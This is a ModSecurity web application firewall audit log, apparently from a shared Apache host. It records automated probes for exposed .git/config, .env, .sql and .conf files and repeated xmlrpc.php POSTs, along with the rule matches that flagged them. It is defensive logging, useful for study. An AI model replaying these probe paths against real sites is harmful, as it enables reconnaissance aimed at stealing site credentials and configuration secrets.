l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a3842d78-Z-- --026e7c16-A-- [16/Jun/2025:03:16:51.447110 +0530] aE8_StkGqt_oHz6gRVdKBwAAAAw 185.177.72.210 46338 127.0.0.1 7081 --026e7c16-B-- GET /admin/.git/config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --026e7c16-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=63a5ae9353c2d281e1e91810886752ee1750024011; expires=Sun, 15 Jun 2025 22:46:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --026e7c16-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/admin/.git/config"] [unique_id "aE8_StkGqt_oHz6gRVdKBwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024010773776 673396 (- - -) Stopwatch2: 1750024010773776 673396; combined=1832, p1=392, p2=1359, p3=0, p4=0, p5=81, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --026e7c16-Z-- --265bd56b-A-- [16/Jun/2025:03:16:56.545680 +0530] aE8_T4l8S04UZ4l67-nfWAAAAAk 128.199.112.101 46584 127.0.0.1 7081 --265bd56b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --265bd56b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --265bd56b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8_T4l8S04UZ4l67-nfWAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024015613926 931824 (- - -) Stopwatch2: 1750024015613926 931824; combined=2347, p1=339, p2=1352, p3=50, p4=72, p5=407, sr=93, sw=127, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --265bd56b-Z-- --cc89c54a-A-- [16/Jun/2025:03:16:57.574387 +0530] aE8_ULsEVBap6l1Fvp1BEAAAAAQ 185.177.72.210 46638 127.0.0.1 7081 --cc89c54a-B-- GET /data.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cc89c54a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=33feb6bc01b1e3531012e09cd1dca91b1750024017; expires=Sun, 15 Jun 2025 22:46:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cc89c54a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/data.sql"] [unique_id "aE8_ULsEVBap6l1Fvp1BEAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024016917531 656934 (- - -) Stopwatch2: 1750024016917531 656934; combined=2414, p1=420, p2=1870, p3=0, p4=0, p5=123, sr=122, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cc89c54a-Z-- --73dcda1a-A-- [16/Jun/2025:03:17:12.258539 +0530] aE8_X3ZqyQ8YfVGvJU7ZpwAAAAY 185.177.72.210 55814 127.0.0.1 7081 --73dcda1a-B-- GET /:9000/.env.copy HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --73dcda1a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7bf059278935e2a38d22dabadfabdacd1750024032; expires=Sun, 15 Jun 2025 22:47:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --73dcda1a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.copy"] [unique_id "aE8_X3ZqyQ8YfVGvJU7ZpwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024031572739 685871 (- - -) Stopwatch2: 1750024031572739 685871; combined=1830, p1=358, p2=1380, p3=0, p4=0, p5=91, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --73dcda1a-Z-- --06bfe43b-A-- [16/Jun/2025:03:17:56.192960 +0530] aE8_i32GhYywD7zZgx77TgAAAAM 128.199.112.101 52432 127.0.0.1 7081 --06bfe43b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --06bfe43b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --06bfe43b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8_i32GhYywD7zZgx77TgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024075235496 957522 (- - -) Stopwatch2: 1750024075235496 957522; combined=2709, p1=462, p2=1815, p3=47, p4=70, p5=193, sr=120, sw=122, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --06bfe43b-Z-- --d503a006-A-- [16/Jun/2025:03:18:28.470396 +0530] aE8_q4rLgrklqy57Kk2dYgAAAAg 185.177.72.210 60952 127.0.0.1 7081 --d503a006-B-- GET /rosterBack/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d503a006-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4d198225001f6d9a134d8bf4576d20161750024108; expires=Sun, 15 Jun 2025 22:48:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d503a006-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/rosterBack/.env"] [unique_id "aE8_q4rLgrklqy57Kk2dYgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024107718953 751521 (- - -) Stopwatch2: 1750024107718953 751521; combined=2287, p1=555, p2=1604, p3=0, p4=0, p5=128, sr=123, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d503a006-Z-- --1bf2455c-A-- [16/Jun/2025:03:18:31.569119 +0530] aE8_rh-kH31pk4mNbsVAPQAAAAo 185.177.72.210 41164 127.0.0.1 7081 --1bf2455c-B-- GET /admin/.env.test HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1bf2455c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4ecc09386ddb1b2f16edee803d87c41d1750024111; expires=Sun, 15 Jun 2025 22:48:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1bf2455c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/admin/.env.test"] [unique_id "aE8_rh-kH31pk4mNbsVAPQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024110879317 689865 (- - -) Stopwatch2: 1750024110879317 689865; combined=1650, p1=364, p2=1197, p3=0, p4=0, p5=88, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1bf2455c-Z-- --9a46ac60-A-- [16/Jun/2025:03:18:44.013440 +0530] aE8_u4l8S04UZ4l67-nfkgAAAAk 185.177.72.210 57158 127.0.0.1 7081 --9a46ac60-B-- GET /.env.stage HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9a46ac60-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0f3e1225c653bcc1a70ad8f5bea1288b1750024123; expires=Sun, 15 Jun 2025 22:48:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9a46ac60-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.stage"] [unique_id "aE8_u4l8S04UZ4l67-nfkgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024123357581 655923 (- - -) Stopwatch2: 1750024123357581 655923; combined=1723, p1=372, p2=1248, p3=0, p4=0, p5=102, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9a46ac60-Z-- --69d3d714-A-- [16/Jun/2025:03:18:51.524276 +0530] aE8_wkNwpNEMJppxC49TGAAAAAI 185.177.72.210 38002 127.0.0.1 7081 --69d3d714-B-- GET /:8080/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --69d3d714-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d0d15fda84a1ab1c158e84235c10f6a31750024131; expires=Sun, 15 Jun 2025 22:48:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --69d3d714-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.bak"] [unique_id "aE8_wkNwpNEMJppxC49TGAAAAAI"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.bak"] [unique_id "aE8_wkNwpNEMJppxC49TGAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024130841502 682836 (- - -) Stopwatch2: 1750024130841502 682836; combined=1865, p1=387, p2=1355, p3=0, p4=0, p5=122, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --69d3d714-Z-- --c0fd4e15-A-- [16/Jun/2025:03:18:53.530634 +0530] aE8_xNkGqt_oHz6gRVdKUAAAAAw 185.177.72.210 38084 127.0.0.1 7081 --c0fd4e15-B-- GET /:10000/api/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c0fd4e15-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1abd4d9f11da54ff18f9be15c72acc521750024133; expires=Sun, 15 Jun 2025 22:48:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c0fd4e15-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/api/.env.production"] [unique_id "aE8_xNkGqt_oHz6gRVdKUAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024132879495 651443 (- - -) Stopwatch2: 1750024132879495 651443; combined=2166, p1=401, p2=1658, p3=0, p4=0, p5=106, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c0fd4e15-Z-- --bbd97473-A-- [16/Jun/2025:03:18:54.547264 +0530] aE8_xX2GhYywD7zZgx77bwAAAAM 185.177.72.210 38112 127.0.0.1 7081 --bbd97473-B-- GET /.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bbd97473-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3dcfdf6340ebd4fe0ef7c6c9a6248d771750024134; expires=Sun, 15 Jun 2025 22:48:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bbd97473-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.conf"] [unique_id "aE8_xX2GhYywD7zZgx77bwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024133889019 658325 (- - -) Stopwatch2: 1750024133889019 658325; combined=1914, p1=363, p2=1445, p3=0, p4=0, p5=105, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bbd97473-Z-- --481c5221-A-- [16/Jun/2025:03:18:55.588812 +0530] aE8_xnZqyQ8YfVGvJU7Z4gAAAAY 185.177.72.210 38150 127.0.0.1 7081 --481c5221-B-- GET /public/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --481c5221-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e8ed86627264ddf1d412fc1d03a281121750024135; expires=Sun, 15 Jun 2025 22:48:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --481c5221-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/public/.env"] [unique_id "aE8_xnZqyQ8YfVGvJU7Z4gAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024134875362 713512 (- - -) Stopwatch2: 1750024134875362 713512; combined=1921, p1=416, p2=1397, p3=0, p4=0, p5=107, sr=125, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --481c5221-Z-- --9ac82816-A-- [16/Jun/2025:03:18:56.424204 +0530] aE8_x0NwpNEMJppxC49TGgAAAAI 128.199.112.101 38174 127.0.0.1 7081 --9ac82816-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9ac82816-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9ac82816-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8_x0NwpNEMJppxC49TGgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750024135395799 1028459 (- - -) Stopwatch2: 1750024135395799 1028459; combined=2339, p1=374, p2=1547, p3=48, p4=69, p5=184, sr=108, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9ac82816-Z-- --9538bf50-A-- 